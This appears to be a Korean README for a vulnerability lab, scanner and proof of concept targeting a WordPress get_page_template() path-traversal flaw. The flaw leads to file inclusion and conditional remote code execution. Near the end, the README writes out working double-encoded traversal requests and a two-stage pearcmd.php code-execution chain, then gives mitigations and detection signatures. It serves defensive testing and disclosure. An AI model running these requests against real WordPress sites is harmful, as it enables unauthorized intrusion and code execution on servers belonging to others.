CVE-2026-87902 / GHSA-7hp8-65ch-5whp 재현 랩 + URL 목록 스캐너 + PoC — WordPress get_page_template() 비인증 LFI에서 조건부 RCE로 이어지는 취약점 (WP 4.7.0-7.1.1, 7.1.2에서 수정됨). 허가된/방어적 테스트.
get_page_template() 인증되지 않은 LFI → 조건부 RCE재현 랩 + URL 목록 스캐너 + PoC, Docker 랩에서 실제 WordPress 7.1.1 (취약) 및 **7.1.2 (패치됨)**을 대상으로 구축 및 엔드투엔드 검증 완료.
include/require에 대한 파일명 부적절 제어 (경로 순회 → 로컬 PHP 포함)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-*라는 최상위 디렉터리가 존재 (예: page-templates/ — Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney에 존재); (2) RCE에 한해: 읽을 수 있는 및 .pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template()는 공격자가 제어하는 pagename 쿼리 변수로부터 템플릿 후보를 생성하면서 validate_file()을 사용하지 않습니다:
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
그런 다음 locate_template()이 file_exists($theme_dir . '/' . $candidate)를 수행하고 일치하는 파일을 include합니다.
후보가 page-{...}.php이므로, 페이로드는 page-로 시작하는 실제 테마 디렉터리를 이어가야 하며(예: page-templates/), 그런 다음 ../로 탈출하여 읽을 수 있는 임의의 .php에 도달해야 합니다.
이중 인코딩이 필수입니다. get_query_var('pagename')은 PHP에 의해 이미 한 번 디코딩되어 있으므로, 평범한 ../는 urldecode($pagename) === $pagename을 만들어 취약한 분기를 건너뜁니다. 이중 인코딩된 %252e%252e%252f는 첫 번째 디코딩 후 %2e%2e%2f로 살아남고, 추가 urldecode()에 의해서만 ../로 변환됩니다 — 이것이 바로 버그입니다.
lab/)Docker 호스트에서 보안 수정만 다른 실제 릴리스를 나란히 배치:
| 서비스 | URL (루프백 전용) | WordPress | 역할 |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | 취약 |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | 패치된 대조군 |
db | — | MySQL 8.4 | 공유 (두 개의 데이터베이스) |
기본 이미지 wordpress:php8.3-apache (pearcmd.php와 register_argc_argv=On이 이미 포함됨), 번들 코어를 정품 wordpress-7.1.1.zip / 7.1.2.zip으로 교체. Twenty Fourteen이 활성화되어 있고 (실제 page-templates/), 활성 테마에 page-templates/ 픽스처도 생성됩니다. 게시된 페이지 id = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
포트는 127.0.0.1에만 바인딩됩니다 — 취약한 인스턴스는 네트워크에 노출되지 않습니다.
poc/cve-2026-87902-scan.py)Python 3, 표준 라이브러리만 사용 (pip install 불필요). URL 목록을 받아 어느 것이 취약한지 보고합니다. 기본 스캔은 비파괴적입니다: 읽기 전용 코어 파일 wp-links-opml.php를 포함시키고 결과 OPML 문서를 찾습니다 — 임의 .php 포함이 발동했다는 증거이며, 쓰기나 상태 변경이 없습니다.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php → readme.html → /wp-includes/ 에셋 ?ver=)./wp/v2/pages, ?rest_route= 폴백, 홈페이지 page-id-N, 기본 page_id=2) — 요청이 Page로 해석되어 get_page_template()이 실행되기 위해 필요합니다.segment × depth (기본 segment templates, depth 4,3,5,6,7)에 대해 page_id=<id>&pagename=<double-encoded ../ → wp-links-opml>을 전송하고 (POST, canonical 리다이렉트 회피), HTTP 200과 함께 <opml version="1.0"> + 구조적 보조 마커 (</opml> / <outline / <dateCreated>)를 요구합니다..php를 가리키는 동일한 요청을 재전송합니다. OPML이 여전히 나타나면 OPML은 주변 환경(프록시 / 캐시 / 피드 앱)에 의한 것이지 우리의 include가 아니므로 → POSSIBLY로 강등됩니다. 컨트롤이 깨끗한 히트만 VULNERABLE입니다.견고성: 하위 디렉터리 경로 보존 (http://host/blog), gzip/deflate 및 특이한 문자셋 처리, 전송 오류 시 프로브 1회 재시도, 페이지 id 탐색/검증 (REST → ?rest_route= → 홈페이지 → 기본값), 대상별 시간 예산 적용, 저신뢰 버전 소스 (에셋 ?ver= / readme.html)로는 NOT_VULNERABLE을 단정하지 않음 — 이들은 POSSIBLY로 강등됩니다.
| 판정 | 의미 |
|---|---|
VULNERABLE | OPML 오라클 발동 — LFI 확인됨 (확정적) |
NOT_VULNERABLE | 패치된 브랜치 버전, 또는 4.7.0–7.1.1 범위 밖 버전 |
POSSIBLY_VULNERABLE | 취약/알 수 없는 버전이지만 오라클 침묵 (아마 page-* 테마 디렉터리 없음, 비표준 레이아웃, 또는 탐색 가능한 페이지 id 없음) — 수동 확인 필요 |
NOT_WORDPRESS / ERROR | WP 지표 없음 / 전송 실패 |
종료 코드: VULNERABLE이 하나라도 있으면 2, POSSIBLY가 있고 (VULNERABLE은 없으면) 1, 그 외 0.
유용한 플래그: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (대상별 예산), --timeout, --threads, --proxy, --header, --insecure (TLS 끄기 — 개발 전용), --json, --jsonl. 하위 디렉터리에 설치된 WordPress의 경우 전체 베이스를 전달하세요 (예: https://host/blog); Bedrock/wp/ 내 코어의 경우 스윕은 wp/ 접두사가 붙은 오라클 대상도 시도합니다.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
PEAR pearcmd.php 체인을 실행합니다: +로 분할된 쿼리 문자열이 config-create argv를 전달하여 /tmp 아래에 따옴표 없는 마커 .php를 작성하고, 두 번째 요청이 이를 포함합니다. 실행된 마커 + php_uname() + uid를 출력합니다. 대상에 파일을 작성 → 단일 대상, --i-have-authorization 필요, 기본 비활성화.
evidence/)| 파일 | 증명 내용 |
|---|---|
manual-validate.sh / ev-lfi.log | OPML 오라클이 7.1.1에서 발동 (depth 4, POST 및 GET), 7.1.2에서는 침묵; depth 4만 작동; 단일 인코딩 실패 |
rce-validate.sh / ev-rce.log | 7.1.1에서 전체 PEAR RCE (uid=33, www-data, depth 7); 패치된 버전은 파일을 작성하지 않고 아무것도 실행하지 않음 |
ev-scan-table.log / ev-scan-results.json | {vuln, patched, non-WP, dead}에 대한 스캐너: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
입증된 요청 형태:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off를 설정하고 pearcmd.php를 제거/차단하세요; LFI에 도달 가능하더라도 RCE 에스컬레이션이 제거됩니다...를 포함하는 모든 pagename을 차단하세요; 사이트 루트 또는 /index.php에서 page_id + templates%252f로 시작하거나 %252e%252e를 포함하는 pagename의 동시 출현은 거의 확실한 익스플로잇 신호입니다.승인된 보안 테스트, 교육, 방어적 연구 목적으로만 사용하세요.